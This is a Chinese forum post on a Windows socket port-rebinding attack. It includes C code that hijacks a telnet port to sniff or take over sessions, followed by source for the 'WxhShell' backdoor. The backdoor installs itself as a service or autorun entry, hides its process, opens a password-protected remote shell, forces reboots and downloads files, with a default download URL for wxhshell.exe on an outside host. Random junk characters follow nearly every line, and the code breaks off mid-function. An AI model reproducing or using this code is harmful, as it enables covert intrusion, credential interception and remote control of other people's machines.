社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17872阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: TYQ7jt0=.-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Iu`xe  
./009p  
  saddr.sin_family = AF_INET; =hO0 @w  
Wa {>R2h\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); sacaL4[_<  
!Rzw[~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A@X&d y  
0OndSa,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 VE<&0d<  
2?9SM@nAY  
  这意味着什么?意味着可以进行如下的攻击: /^kZ}}9baU  
9w Pc03a  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >t,BNsWB  
oc>ne]_'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ix<sorR H  
Q}a 1P8?S  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6p X[m{  
d+_wN2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <wt#m`Za  
Q3M;'m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 J1^6p*]GX  
OA\2ja~+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0B^0,d(s  
(=d%Bn$6b  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 MVW2 %6  
{CM%QMM  
  #include _yq"F#,*  
  #include 3d^zLL  
  #include 5TqT`XTzm  
  #include    *<yKT$(+_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <n iq*  
  int main() %t&5o>1C  
  { `c^ _5:euX  
  WORD wVersionRequested; uFM]4v3  
  DWORD ret; !\Y85o>JU  
  WSADATA wsaData; pm+_s]s,  
  BOOL val; 85rXm*Df  
  SOCKADDR_IN saddr; n{dl- P  
  SOCKADDR_IN scaddr; @'.(62v  
  int err; TbqED\5@9w  
  SOCKET s; fZ2>%IxG}  
  SOCKET sc; =} Np0UP  
  int caddsize; 3%?01$k  
  HANDLE mt; Y%v?ROql  
  DWORD tid;   ?lJm}0>  
  wVersionRequested = MAKEWORD( 2, 2 ); )GDP?Nc<Ik  
  err = WSAStartup( wVersionRequested, &wsaData );  pei-R  
  if ( err != 0 ) { qEC -'sl<  
  printf("error!WSAStartup failed!\n"); Bb^CukS:  
  return -1; B w1ir  
  } F6*n,[5(  
  saddr.sin_family = AF_INET; M),i4a?2  
   -/:N&6eRb  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &?m|PK)I  
3 8>?Z ]V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); q -%;~LF  
  saddr.sin_port = htons(23); ]sBSLEie '  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9(>]6|XS  
  { {_0m0 8  
  printf("error!socket failed!\n"); jM8e2z3  
  return -1; eMk?#&a)  
  } (9r\YNK  
  val = TRUE; 8X":,s!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 R}MdBE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8RJXY:%  
  { E 5D5  
  printf("error!setsockopt failed!\n"); 4,CQJ  
  return -1; PtySPDClj  
  } P?GHcq$\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Y4cIYUSc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 L&O!"[++  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?-CZJr  
n?vw|'(}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) SoZ$1$o2  
  { Xx_ v>Jn!  
  ret=GetLastError(); !Z978Aub3&  
  printf("error!bind failed!\n"); U)~?/s{v  
  return -1;  gBQK  
  } ~kUdHne (  
  listen(s,2); W]kh?+SZ  
  while(1) aIV(&7KT4  
  { }oH A@o5  
  caddsize = sizeof(scaddr); x/*ndH  
  //接受连接请求 UxI0Of&:  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); dI'cZt~n  
  if(sc!=INVALID_SOCKET) ?4%'6R  
  { hA1\+r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .v<c_~y  
  if(mt==NULL) fC>3{@h}*  
  { H\7#$ HB  
  printf("Thread Creat Failed!\n"); 1:]iV}OFqR  
  break; Fy!u xT-\  
  } R/8>^6  
  } 23XSQHVx  
  CloseHandle(mt); d#yb($HAJ  
  } fx@Hd!nO~"  
  closesocket(s); B0Ql1x#x  
  WSACleanup(); bl. y4  
  return 0; $ 2'AY  
  }   N yT|=`;  
  DWORD WINAPI ClientThread(LPVOID lpParam) b|F_]i T  
  { b~?FV>gl  
  SOCKET ss = (SOCKET)lpParam; !yAg!V KY  
  SOCKET sc; ({=: N  
  unsigned char buf[4096]; $Lpt2:.((  
  SOCKADDR_IN saddr; a1]@&D r  
  long num; =fmM=@!$<  
  DWORD val; q]F2bo  
  DWORD ret; 49b#$Xq  
  //如果是隐藏端口应用的话,可以在此处加一些判断 a f[<[2pma  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :G$f)NMK  
  saddr.sin_family = AF_INET; kL;sA'I:S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *:r@-=M3=  
  saddr.sin_port = htons(23); l \~w(8g<A  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tRU+6D <w  
  { JjarMJr| D  
  printf("error!socket failed!\n"); uM"G)$I\  
  return -1; .6Jo1$+  
  } h$[}lZDg  
  val = 100; "N'tmzifh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \6A-eWIQif  
  { Oga/  
  ret = GetLastError(); J7:VRf|,?(  
  return -1; ((i%h^tGa;  
  } !yAlb#yu  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7UQFAt_r  
  {  QDCu  
  ret = GetLastError(); p!5oz2RK  
  return -1; f0rM 4"1  
  } df_hmkyj  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s=0z%~H  
  { ?+-uF }  
  printf("error!socket connect failed!\n"); WW33ZJ  
  closesocket(sc); uan%j]|q%  
  closesocket(ss); 1} 1.5[4d  
  return -1; yPG,+uQ$.  
  } !d Ns3d  
  while(1) Q)eYJP=W  
  { ,CiN@T \&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 D:`b61sWi_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 yVQ0;h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 l{tpFu9v  
  num = recv(ss,buf,4096,0); P|,@En 1!  
  if(num>0) H4C]%Q  
  send(sc,buf,num,0); A1Tk6i<F1  
  else if(num==0) _*\:UBZx6  
  break; &h1.9AO  
  num = recv(sc,buf,4096,0); fFu+P<?"  
  if(num>0) R42+^'af  
  send(ss,buf,num,0); ug]WIG7 S  
  else if(num==0) u#9H  
  break; t[HfaW1W  
  } ~qFuS933  
  closesocket(ss); G 3))3]  
  closesocket(sc); >bQ'*!  
  return 0 ; 38<!Dt+S(,  
  } /)6+I(H  
9FB k|g"U)  
f(}?Sp_  
========================================================== \0gU)tVZ  
H@ab]&  
下边附上一个代码,,WXhSHELL }<m'Nkz<X  
]w7wwU^^*U  
========================================================== 5d ?\>dA  
u7Z-kZ  
#include "stdafx.h" sa8Q1i&%  
b;kgP`%%  
#include <stdio.h> L\)GPTo!x  
#include <string.h> ScN'|Ia.-  
#include <windows.h> =i'APeNaQ  
#include <winsock2.h> F3)w('h9c  
#include <winsvc.h> 6uNWL `v  
#include <urlmon.h> eK8y'VY  
d v8q&_  
#pragma comment (lib, "Ws2_32.lib") =;HC7TUM&  
#pragma comment (lib, "urlmon.lib") P*=M?:Jb,  
Epo/}y  
#define MAX_USER   100 // 最大客户端连接数 CEQs}bz  
#define BUF_SOCK   200 // sock buffer H3Ws$vl9n  
#define KEY_BUFF   255 // 输入 buffer iX]tL:,~i  
r Uau? ?  
#define REBOOT     0   // 重启 8.`*O  
#define SHUTDOWN   1   // 关机 d8N{sT  
TR7j`?  
#define DEF_PORT   5000 // 监听端口 )4O>V?B  
(FVHtZi7  
#define REG_LEN     16   // 注册表键长度 9(-f)$u  
#define SVC_LEN     80   // NT服务名长度 BIQQJLu  
i#4}xvi  
// 从dll定义API ]LbFh5;s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ef)v("'w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2E 0A`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~DJILc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @~ 6,8nQ  
uO^,N**R#  
// wxhshell配置信息 x<Ac\Cx  
struct WSCFG { d?6\  
  int ws_port;         // 监听端口 #MyF 1E  
  char ws_passstr[REG_LEN]; // 口令 vV PK  
  int ws_autoins;       // 安装标记, 1=yes 0=no c3aBPig\D  
  char ws_regname[REG_LEN]; // 注册表键名 xwhS[d  
  char ws_svcname[REG_LEN]; // 服务名 k-jlYHsA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OCN:{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '.gLqm}%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TdKo"H*C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FlyRcj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]39])ul  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z,_EhEm  
nN'>>'@>  
}; ,R$U(,>_0  
Xs Ey8V  
// default Wxhshell configuration n!?^:5=s  
struct WSCFG wscfg={DEF_PORT, werTwe2Q  
    "xuhuanlingzhe",  i|!D  
    1, qZ<|A%WQ  
    "Wxhshell", $aC%&&+wG  
    "Wxhshell", -Pp =)_O  
            "WxhShell Service", o>^ @s4t  
    "Wrsky Windows CmdShell Service", Yu+;vjbK-  
    "Please Input Your Password: ", fn3DoD+I  
  1, k &6$S9  
  "http://www.wrsky.com/wxhshell.exe", "ivSpec.V  
  "Wxhshell.exe" &Db'}Y?x]  
    }; R^VmNj  
u`gY/]y!  
// 消息定义模块 vSv:!5*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :F.eyA|#@G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [P3 Z"&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AVO$R\1YR  
char *msg_ws_ext="\n\rExit."; ;mauA#vd  
char *msg_ws_end="\n\rQuit."; Ksb55cp`  
char *msg_ws_boot="\n\rReboot..."; 2>F `H7W  
char *msg_ws_poff="\n\rShutdown..."; [&5%$ T  
char *msg_ws_down="\n\rSave to "; _zG[b/:p  
1#V&'A  
char *msg_ws_err="\n\rErr!"; i:sb_U+M  
char *msg_ws_ok="\n\rOK!"; #@Rtb\9  
JPM W|JT  
char ExeFile[MAX_PATH]; BDcA_= ^R&  
int nUser = 0; {SwvUWOf"  
HANDLE handles[MAX_USER]; 4mci@1K#^  
int OsIsNt; yIf>8ed]#  
bnxR)b~  
SERVICE_STATUS       serviceStatus; pIgjo>K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t }>"nr0  
~+&Z4CYb  
// 函数声明 (;2]`D [x  
int Install(void); %0lJ(hm  
int Uninstall(void); psM&r  
int DownloadFile(char *sURL, SOCKET wsh); Uq=!>C8  
int Boot(int flag); yr q){W  
void HideProc(void); qVr?st  
int GetOsVer(void); de q L  
int Wxhshell(SOCKET wsl); QvDD   
void TalkWithClient(void *cs); - %`iLu  
int CmdShell(SOCKET sock); WXX08"  
int StartFromService(void); q:3HU<  
int StartWxhshell(LPSTR lpCmdLine); 2|}KBny  
}^Ky)**  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z:Nm9m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ir$:e*E>  
 &DX  
// 数据结构和表定义 l>?k>NEpP  
SERVICE_TABLE_ENTRY DispatchTable[] = X.)D"+xnH  
{ > m##JzWLr  
{wscfg.ws_svcname, NTServiceMain}, S1E=EVG  
{NULL, NULL} PJ'.s  
}; :'K%&e?7s  
>@i {8AD  
// 自我安装 ">'`{mXew  
int Install(void) "Rq)%o$Z  
{ '/ GZ,~q  
  char svExeFile[MAX_PATH]; 8\9s,W:5  
  HKEY key; |<w Z;d  
  strcpy(svExeFile,ExeFile); YY9Ub  
Ukg iSv+  
// 如果是win9x系统,修改注册表设为自启动 Qhsk09K_=4  
if(!OsIsNt) { <"}WpT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4kdQ h]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); { , zg  
  RegCloseKey(key); :yE7jXB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QP1 bm]QYA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;(~H(]D  
  RegCloseKey(key); sA[eKQjaD  
  return 0; X8| 0RU@f  
    } 7?EC kuSv  
  } 7 J+cs^2  
} &Ez]pKjB  
else { -40OS=wpA  
.80L>0  
// 如果是NT以上系统,安装为系统服务 N[8y+2SZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (Gpk;DD  
if (schSCManager!=0) 5$Aiez~tBq  
{ ~@N0$S  
  SC_HANDLE schService = CreateService 6n5>{X  
  ( E-XFW]I  
  schSCManager, =VM4Q+'K  
  wscfg.ws_svcname, m9m]q&hx  
  wscfg.ws_svcdisp, BHEZ<K[U   
  SERVICE_ALL_ACCESS, G2e0\}q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Fmux#}Z  
  SERVICE_AUTO_START, kr6^6I.  
  SERVICE_ERROR_NORMAL, fY{&W@#g  
  svExeFile, 6d# V  
  NULL, xXm:S{I  
  NULL, h!UB#-  
  NULL, @N,I}_9-  
  NULL, R6/vhze4L2  
  NULL Ij}k>qO/2  
  ); X'KkIo :  
  if (schService!=0) +7|Qd}\X  
  { F^)SQ%xx  
  CloseServiceHandle(schService); r%^J3  
  CloseServiceHandle(schSCManager); o6~9.~_e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2h^9lrQcQG  
  strcat(svExeFile,wscfg.ws_svcname); *g;4?_f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QwL'5ws{q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f0,,<ib.w  
  RegCloseKey(key); H<bK9k)E  
  return 0; FZW:dsm  
    } .ECT  
  } Q'n]+%YN  
  CloseServiceHandle(schSCManager); FELTmQUV  
} =f*Wj\  
} _]~= Kjp  
G,6Zy-Y9  
return 1; =fZMute  
} pHkhs{/X  
l{b*YUsz>  
// 自我卸载 ,F)9{ <r]  
int Uninstall(void) j/+e5.EX/  
{ hB:}0@l6p=  
  HKEY key; bPHqZ*f  
U`h>[9  
if(!OsIsNt) { :?.RZKXQF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d#*n@@V4  
  RegDeleteValue(key,wscfg.ws_regname); rS3* k3  
  RegCloseKey(key); [O52Bn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K@UQ O  
  RegDeleteValue(key,wscfg.ws_regname); E6FT*}Q  
  RegCloseKey(key); Q lg~S1D_v  
  return 0; Xzp!X({   
  } w2/3\3p  
} "o ^cv  
} ?U;KwS]%  
else { *>,CG:`D  
>TqMb8e_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yd-Kg zm8n  
if (schSCManager!=0) `43X? yQ  
{ @h&crI[c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UZ"jQJQ  
  if (schService!=0) |VPJaiC~  
  { RXF%A5FXh  
  if(DeleteService(schService)!=0) { W$X@DXT=o  
  CloseServiceHandle(schService); 6HyndB^  
  CloseServiceHandle(schSCManager); _CDl9pP36#  
  return 0; <7;AK!BH  
  } apxY2oE&  
  CloseServiceHandle(schService); ^*fZ  
  } &S8Pnb)d  
  CloseServiceHandle(schSCManager); ,py:e>+^t  
} I|#1u7X%]  
} b+g(=z+  
-!kfwJg8N(  
return 1; S|pMX87R  
} 3i c6!T#t"  
nbGB84  
// 从指定url下载文件 W]t!I}yPR  
int DownloadFile(char *sURL, SOCKET wsh) z+Cw*v\Y  
{ 0gEtEH+  
  HRESULT hr; yl=_ /'*  
char seps[]= "/"; Y8^pgv  
char *token; LXm5f;  
char *file; -or^mNB_z  
char myURL[MAX_PATH]; b& l/)DU  
char myFILE[MAX_PATH]; Q--VZqn  
,bQbj7  
strcpy(myURL,sURL); Y}/e" mp  
  token=strtok(myURL,seps); :RH0.5)  
  while(token!=NULL) b"t<B2N  
  { kYVn4Wq  
    file=token; c~1X/,biA  
  token=strtok(NULL,seps); l|O)B #  
  } i"h '^6M1  
(61_=,jv\h  
GetCurrentDirectory(MAX_PATH,myFILE); I4%p?'i,C  
strcat(myFILE, "\\"); UA{tmIC\  
strcat(myFILE, file); 4|Wg lri  
  send(wsh,myFILE,strlen(myFILE),0); ,EAf/2C  
send(wsh,"...",3,0); &7{/ x~S{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7q'_]$  
  if(hr==S_OK) cNX0.7Ls  
return 0; Z]1=nSv  
else _ 2WG6y;  
return 1; scff WqEo  
~1NK@=7T  
} O%g%*9  
p;GT[Ds^  
// 系统电源模块 lE8M.ho\  
int Boot(int flag) .)7r /1o  
{ 3N'fHy  
  HANDLE hToken; yN0!uzdW*  
  TOKEN_PRIVILEGES tkp; ^&AhW m7\  
= }&@XRLJ  
  if(OsIsNt) { C/JeD-JG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g=*`6@_=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $/*6tsR  
    tkp.PrivilegeCount = 1; 1|?8g2Vf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O:=%{/6&D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q Eh_2  
if(flag==REBOOT) { W-QBC- 3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _?vh#6F  
  return 0; "funFvY  
} t3#My2=  
else { a w0;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IZ$7'Mo86  
  return 0; ;{n@hM*O  
} 2\$P&L a  
  } ]%{.zl!  
  else { PY4RwN  
if(flag==REBOOT) { WcCJ;z:S?k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GTj=R$%09  
  return 0; _h% :Tu  
} d6$,iw@>^  
else { h6*&1r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7j>NUx=j3  
  return 0; p19[qy~.  
} N2?o6)  
} h\oAW?^  
V~Zi #o  
return 1; "[PxLq5  
} 4Y):d!'b  
F{:ZHCm  
// win9x进程隐藏模块 di@4'$5#  
void HideProc(void) N1lhlw6  
{ dQ6n[$Q@N  
oD$8(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Wc}opp  
  if ( hKernel != NULL ) +E8Itb,  
  { TZ`@pDi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -BY'E$]4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _RLx;Tn)L  
    FreeLibrary(hKernel); wq[\Fb`  
  } yIm@m[B;  
a@|/D\C  
return; |-WoR u  
} L<kIzB !  
"(@W^qF}d  
// 获取操作系统版本 W\(u1>lj  
int GetOsVer(void) ;(a\F  
{ BrW1:2w >\  
  OSVERSIONINFO winfo; ,BK6a'1J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0jS"PH?[  
  GetVersionEx(&winfo); p*11aaIbp~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -hM nA)+  
  return 1; *cjH]MQ0Ak  
  else Gj[+{  
  return 0; +%Vbz7+!  
} IrJPP2Q  
'64&'.{#>r  
// 客户端句柄模块 (nhv#&Fd+  
int Wxhshell(SOCKET wsl) RwH<JaL:  
{ I91pX<NBf  
  SOCKET wsh; $rB20!  
  struct sockaddr_in client; -Cb<T"7  
  DWORD myID; 1B;-ea  
=1dU~B:Lm  
  while(nUser<MAX_USER) traJub  
{ V}1D1.@  
  int nSize=sizeof(client); sGNVZx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O|#N$a&_N  
  if(wsh==INVALID_SOCKET) return 1; E,Q>jH  
cz8%p;F:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Vb|;@*=R&Q  
if(handles[nUser]==0) tK<GU.+  
  closesocket(wsh); 3Lxk7D>0c  
else RU>Hr5ebo  
  nUser++; {VWUK`3  
  } '4PAH2&n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); > ,L'A;c}  
-+1it  
  return 0; j@c fR  
} ILt95l  
lYlU8l5>  
// 关闭 socket B;M{v5s~]  
void CloseIt(SOCKET wsh) By=/DVm)=  
{ lVywc:X  
closesocket(wsh); 1'5I]D ec  
nUser--; [3a-1,  
ExitThread(0); @MfuV4*  
} /o =V (  
Rn O%8Hk  
// 客户端请求句柄 {~g(WxE  
void TalkWithClient(void *cs) Z, Kbt  
{ =RR225  
h+mM  
  SOCKET wsh=(SOCKET)cs; <BIj a  
  char pwd[SVC_LEN]; Jtj_R l !  
  char cmd[KEY_BUFF]; ; 6Wlu3I  
char chr[1]; %Z-^Bu8;y  
int i,j; dw)SF,  
/^~3Ib8Fw+  
  while (nUser < MAX_USER) { Lm<"W_  
Ti/t\'6  
if(wscfg.ws_passstr) { & z;;Bx0s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kJ6=T6s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !g /&ws&  
  //ZeroMemory(pwd,KEY_BUFF); ?3!"js B  
      i=0; nG;wQvc  
  while(i<SVC_LEN) { daT[2M  
<dx xXzLT  
  // 设置超时 _8C0z=hz  
  fd_set FdRead; -If-c'"G  
  struct timeval TimeOut; i^9PiP|U  
  FD_ZERO(&FdRead); nu,#y"WQ  
  FD_SET(wsh,&FdRead); ^(I4Do~}  
  TimeOut.tv_sec=8; (: IUg   
  TimeOut.tv_usec=0; SCk2D!u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Gx ?p,Fj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BM*9d%m^  
~ \tI9L?|A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NLFSw  
  pwd=chr[0]; ;aBK4<-vl  
  if(chr[0]==0xd || chr[0]==0xa) { &?^S`V8R*  
  pwd=0; *>!O2c  
  break; ._m+@Uy]H}  
  } =>Y b~r71  
  i++; b:.aZ7+4  
    } ;bVC7D~~4w  
'v^CA}  
  // 如果是非法用户,关闭 socket v8"plx=3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0es[!  
} #%k!`?^fbK  
~<Z;)e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <=8REA?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c 6sGjZdR  
Tl=cniy]  
while(1) { edhNQWn  
)W)m?%  
  ZeroMemory(cmd,KEY_BUFF); g\&[;v i  
b:/;  
      // 自动支持客户端 telnet标准   b7g\wnV8z  
  j=0; /W'GX n  
  while(j<KEY_BUFF) { Ddde, WJA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <`*}$Zh  
  cmd[j]=chr[0]; naCPSsei  
  if(chr[0]==0xa || chr[0]==0xd) { i rMZLc6  
  cmd[j]=0; /*g3TbUs  
  break; IlsXj`!e  
  } \]}|m<R  
  j++; n'=-bj`  
    } f>ohu^bd  
mdvooJ  
  // 下载文件 5R}Qp<D[^  
  if(strstr(cmd,"http://")) { ^Bn)a"Gd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +9G GC  
  if(DownloadFile(cmd,wsh)) wXp A1,i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZB GLwe  
  else fv_}7t7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mit,X  
  } xy$73K6  
  else { 02:]  
{8UYu2t  
    switch(cmd[0]) { $,q~q^0  
  #pP4\n-~hU  
  // 帮助 TjxZ-qw<  
  case '?': { ;vvO#3DWM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); / PG+ s6  
    break; w@Uw8b  
  } r#iZ FL3q  
  // 安装 W)3?T& `  
  case 'i': { aAZS^S4v  
    if(Install()) zvV<0 Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zbK=yOIOd  
    else 3Yf&F([t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $ysemDq-a\  
    break; #j -bT4!  
    } 5ckL=q"+/  
  // 卸载 ]|62l+  
  case 'r': { JP`$A  
    if(Uninstall()) ~Q"3#4l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1>P[3Y@}  
    else Z"PPXv-<jY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :;W[@DeO[  
    break; &v|Uy}h&%1  
    } AE`X4q  
  // 显示 wxhshell 所在路径 |D+"+w/  
  case 'p': { D+ mZ7&L  
    char svExeFile[MAX_PATH]; OV3l)73?t  
    strcpy(svExeFile,"\n\r"); i'9aQi"G  
      strcat(svExeFile,ExeFile); D ]Q,~Y&'  
        send(wsh,svExeFile,strlen(svExeFile),0); 51j5AbFQ"  
    break; q/U(j&8W{  
    } OE' ?3S  
  // 重启 T<(1)N1H`  
  case 'b': { ITJ{]7N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); li'h&!|]  
    if(Boot(REBOOT)) rD=8O#m g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mM&Sq;JJ;  
    else { "%fh`4y3\  
